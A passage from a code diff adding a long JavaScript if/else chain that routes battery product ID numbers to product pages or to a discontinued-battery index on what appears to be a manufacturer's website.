+ return true
+ }
+ else if(IDText.value=="p2331"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3201"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3301"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3302"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3303"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3306"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3391"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p5256"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7300"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p7301"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="7302"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="7310"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p7320"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7330"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7340"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p7350"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p7360"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7400"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7501"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erd100"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packsdigicam.htm"
+ return true
+ }
+ else if(IDText.value=="erd110"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packsdigicam.htm"
+ return true
+ }
+ else if(IDText.value=="erd200"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packsdigicam.htm"
+ return true
+ }
+ else if(IDText.value=="erd300"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packsdigicam.htm"
+ return true
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ else if(IDText.value=="164"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="201"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="216"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="226"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="228"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="311"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="314"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+
+ else if(IDText.value=="313"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="323"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="325"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="333cz"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="343"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="354"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="355"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="387"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="388"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="417"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="420"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="457"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="460"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="477"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="479"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="482"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="484"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="487"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="490"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="491"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="496"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="509"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="510f"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="520"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="523"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="531"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="532"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="537"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="538"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="544"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="560"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="561"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="563"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="564"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="565"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="646"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="703"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="706"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="714"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="715"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="716"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="717"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="724"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="731"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="735"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="736"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="738"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="742"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="744"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="750"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="762s"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="773"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="778"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="781"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="812"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="815"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="835"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="850"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="904"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="912"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="915"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="935"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="950"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1015"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1035"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1050"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1150"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1231"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1461"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1463"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1562"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1862"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2356n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2709n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2744n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2745n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2746n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2780n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ac41e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cc1096"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ccm1460"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ccm2460"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ccm4060a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ccm4060m"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cdc100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch12"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch15"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch2aa"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch22"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch35"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch4"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch50"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm1060"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm1560"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm2360"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm4160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm6036"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm9072"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm9172"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp2360"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp3336"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp3536"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp3736"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp5036"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp5160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp5648"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp5960"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp6072"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp6172"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7049"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7072"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7148"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7149"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7172"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7248"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7261"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7348"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7548"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7661"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7960"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8049"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8136"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8172"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8248"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8661"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8748"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+
+ else if(IDText.value=="cp8948"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8960"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp9061"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp9148"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp9161"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp9360"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs3336"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs5036"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs5460"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7048"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7072"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7148"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7149"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7248"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7261"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7348"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7448"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cs7548"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
